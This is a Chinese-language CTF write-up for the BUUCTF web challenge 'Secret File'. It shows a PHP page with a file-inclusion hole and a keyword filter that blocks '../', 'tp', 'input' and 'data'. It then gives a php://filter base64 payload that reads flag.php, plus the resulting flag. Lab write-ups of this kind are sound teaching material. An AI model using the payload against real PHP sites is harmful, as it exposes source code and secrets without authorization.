首页 > 其他分享 >[极客大挑战 2019]Secret File

[极客大挑战 2019]Secret File

时间:2023-07-20 20:35:11浏览次数:38  
标签:极客 flag Secret 2019 File php

[极客大挑战 2019]Secret File

题目来源:buuctf

题目类型:web

涉及考点:代码审计

1. 题目让我们去找秘密,第一反应是检查源代码

发现一个Archive_room.php,点击看看:

出现了一个点击按钮,点击后如下:

除此之外没有别的线索了

2. 我们依据提示回到上一个页面抓包

发现了一个新的php,进去得到了如下代码:

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

3. 接下来就是代码审计了

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
//strstr()和stristr()都用于在一个较长的字符串中搜索指定的子字符串,
//并返回从该子字符串第一次出现的位置开始到字符串末尾的部分。
//两者区别在于前者对大小写敏感,后者对大小写不敏感
//即程序过滤了 ../ tp input data
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

发现没过滤掉flag,于是尝试file=flag.php

又被摆了一道。。


突然想到前段时间学到的php伪协议,具体知识点见[ACTF2020 新生赛]Include

于是我们构造payload如下:

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到flag.php源码的base64加密:

对其解密得到flag:

flag{75299d36-4549-4f2f-85b5-a9c05d06ecee}

日期:2023.7.20

作者:y0Zero

标签:极客,flag,Secret,2019,File,php
From: https://www.cnblogs.com/bkofyZ/p/17569553.html

相关文章

  • Git问题集,20190511
    来自 1、error: src refspec master does not match any执行命令git push origin master,报错,如上。http://stackoverflow.com/questions/827351/push-origin-master-error-on-new-repositoryTheerrormessageleadstotheconclusionthatyoudonothavea master......
  • [SUCTF 2019]EasySQL
    [SUCTF2019]EasySQL题目来源:buuctf题目类型:web涉及考点:SQL注入、堆叠注入1.题目给了一个输入框,先随便传点东西进去传入数字回显如下:传入flag回显如下:传入字符无回显没什么其他线索了,还是爆破一下看看过滤了哪些字符:返回长度为507的字符都是被过滤了的,包括uni......
  • WPS Office 2019 v11.8.2.12014
    下载地址:https://pan.baidu.com/s/18T2jwDAjeqy-ebT5u18zVA#list/path=%2F软件介绍WPSOffice2019博湖县政府专用版,无需序列号,免激活长期授权,这是目前最新的WPS政府专用版。WPSOffice是款一免费的办公软件套件,全面涵盖了文字处理、电子表格,演示文稿、PDF以及云服务等功能。WP......
  • Office 2019 学习
    3.2.1Office2010应用程序的启动与退出1)启动 通过“开始“菜单中的快捷方式启动 通过桌面快捷方式启动 通过关联文档启动 通过核心启动程序winword.exe2)退出 1“文件”选项卡——“关闭”命令(Ctrl+W组合键) 注意:只关闭相应的文档窗口而不退出应用程序 2“文件”选项......
  • P6227 [BalticOI 2019 Day1] 山谷
    P6227[BalticOI2019Day1]山谷Description给一棵树,一个根,一些特殊补给点,一些询问。求解如下问题:断掉一条边\(u\tov\),这样以后你能否从给定的\(R_i\)走到根,若能输出escaped。不能到达根且不能到达任何一个特殊补给点输出oo。若不能到达根但可以到达特殊补给点输出边权和......
  • 「JOISC 2019 Day4」蛋糕拼接 3 题解
    先考虑这个式子:\(\sum_{j=1}^{M}|C_{k_{j}}-C_{k_{j+1}}|\)一定是在\(C\)有序时取到,具体证明很简单各位读者自己证明。那么现在式子变成:\(\sum{V}+2\times({C_{\max}-C_{\min}})\)这个时候一个常见的技巧是将\(C\)排序。这个时候就可以定义状态:\(dp_{i,j}=\s......
  • [GUET-CTF2019]KO
    直接给了一个txt文件,打开直接是ook的编码不知道为啥在随波上面直接用brainfuck就直接出来又用了一下ook的解码网站也是一样的网址:Brainfuck/Ook!Obfuscation/Encoding[splitbrain.org]结束......
  • 远程登陆virtualbox虚拟机windows server 2019
    1.virtualbox网络设置2.启用远程桌面3.获取远程ip4.本机使用mstsc远程登陆......
  • [GXYCTF2019]Ping Ping Ping
    [GXYCTF2019]PingPingPing题目来源:buuctf题目类型:web涉及考点:命令执行1.题目页面如下:我们将其作为参数传入,/?ip=127.0.0.1,回显如下:接下来通过命令行查看目录:/?ip=127.0.0.1;ls2.发现了flag.php,直接查看/?ip=127.0.0.1;catflag.php发现空格被过滤了,我们采取以下......
  • k8s中,secret中有多条数据,如何将某条数据挂载为一个单独的文件?
    secrete中,包含以下两条数据db-password,原内容是123456db-username,原内容是:admin 这里都是base64编码的结果。 在pod中,volumemounts中,subPath指定某个数据项的key值mountPath:为具体的某个文件的名字这样挂载之后,就是具体的文件了,文件的内容,就是key对应的值。......